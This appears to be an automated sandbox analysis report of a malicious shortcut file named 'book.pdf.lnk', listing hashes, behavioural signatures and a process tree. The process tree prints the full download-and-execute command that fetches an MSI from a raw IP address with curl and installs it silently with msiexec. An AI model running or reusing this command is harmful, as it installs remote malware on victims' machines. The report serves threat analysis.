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230821-bb4qysaa78 10Analysis
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max time kernel
93s -
max time network
98s -
platform
windows10-2004_x64 -
resource
win10v2004-20230703-en -
resource tags
arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system -
submitted
23-08-2023 19:18
Static task
static1
Behavioral task
behavioral1
Sample
book.pdf.lnk
Resource
win7-20230712-en
windows7-x64
4 signatures
120 seconds
Behavioral task
behavioral2
Sample
book.pdf.lnk
Resource
win10v2004-20230703-en
windows10-2004-x64
3 signatures
120 seconds
General
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Target
book.pdf.lnk
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Size
1KB
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MD5
0185e0fc2f505312001e1a65e6783908
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SHA1
8e4cf0397ba32d233a515a5aca02751f6f9344c6
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SHA256
8b3162141ac545fa0ae63777748973b8ee88bb8234a917d5fb3238d2c2ca963d
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SHA512
1a484bb08401fd7476d37029fa753aa82af10aa702f30fa30568ff7eaf94b484e604bbff9f6b5a67179a7d708cf61bb767fa974e0a9f35e751d74d9a2dd4fefc
Score
3/10
Malware Config
Signatures
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of AdjustPrivilegeToken 32 IoCs
Processes:
msiexec.exemsiexec.exedescription pid process Token: SeShutdownPrivilege 572 msiexec.exe Token: SeIncreaseQuotaPrivilege 572 msiexec.exe Token: SeSecurityPrivilege 3520 msiexec.exe Token: SeCreateTokenPrivilege 572 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 572 msiexec.exe Token: SeLockMemoryPrivilege 572 msiexec.exe Token: SeIncreaseQuotaPrivilege 572 msiexec.exe Token: SeMachineAccountPrivilege 572 msiexec.exe Token: SeTcbPrivilege 572 msiexec.exe Token: SeSecurityPrivilege 572 msiexec.exe Token: SeTakeOwnershipPrivilege 572 msiexec.exe Token: SeLoadDriverPrivilege 572 msiexec.exe Token: SeSystemProfilePrivilege 572 msiexec.exe Token: SeSystemtimePrivilege 572 msiexec.exe Token: SeProfSingleProcessPrivilege 572 msiexec.exe Token: SeIncBasePriorityPrivilege 572 msiexec.exe Token: SeCreatePagefilePrivilege 572 msiexec.exe Token: SeCreatePermanentPrivilege 572 msiexec.exe Token: SeBackupPrivilege 572 msiexec.exe Token: SeRestorePrivilege 572 msiexec.exe Token: SeShutdownPrivilege 572 msiexec.exe Token: SeDebugPrivilege 572 msiexec.exe Token: SeAuditPrivilege 572 msiexec.exe Token: SeSystemEnvironmentPrivilege 572 msiexec.exe Token: SeChangeNotifyPrivilege 572 msiexec.exe Token: SeRemoteShutdownPrivilege 572 msiexec.exe Token: SeUndockPrivilege 572 msiexec.exe Token: SeSyncAgentPrivilege 572 msiexec.exe Token: SeEnableDelegationPrivilege 572 msiexec.exe Token: SeManageVolumePrivilege 572 msiexec.exe Token: SeImpersonatePrivilege 572 msiexec.exe Token: SeCreateGlobalPrivilege 572 msiexec.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
cmd.execmd.exedescription pid process target process PID 3196 wrote to memory of 4372 3196 cmd.exe cmd.exe PID 3196 wrote to memory of 4372 3196 cmd.exe cmd.exe PID 4372 wrote to memory of 3480 4372 cmd.exe curl.exe PID 4372 wrote to memory of 3480 4372 cmd.exe curl.exe PID 4372 wrote to memory of 572 4372 cmd.exe msiexec.exe PID 4372 wrote to memory of 572 4372 cmd.exe msiexec.exe
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\book.pdf.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:3196 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c echo %cd% > C:\Users\Admin\AppData\Local\Temp\ruta.txt & echo eGz & echo zv & echo GMp & echo RC & curl -o C:\Users\Admin\AppData\Local\Temp\ffbjzugu.msi http://107.181.161.200:443/msiffbjzugu & msiexec /i C:\Users\Admin\AppData\Local\Temp\ffbjzugu.msi /quiet /qn2⤵
- Suspicious use of WriteProcessMemory
PID:4372 -
C:\Windows\system32\curl.execurl -o C:\Users\Admin\AppData\Local\Temp\ffbjzugu.msi http://107.181.161.200:443/msiffbjzugu3⤵PID:3480
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C:\Windows\system32\msiexec.exemsiexec /i C:\Users\Admin\AppData\Local\Temp\ffbjzugu.msi /quiet /qn3⤵
- Suspicious use of AdjustPrivilegeToken
PID:572
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3520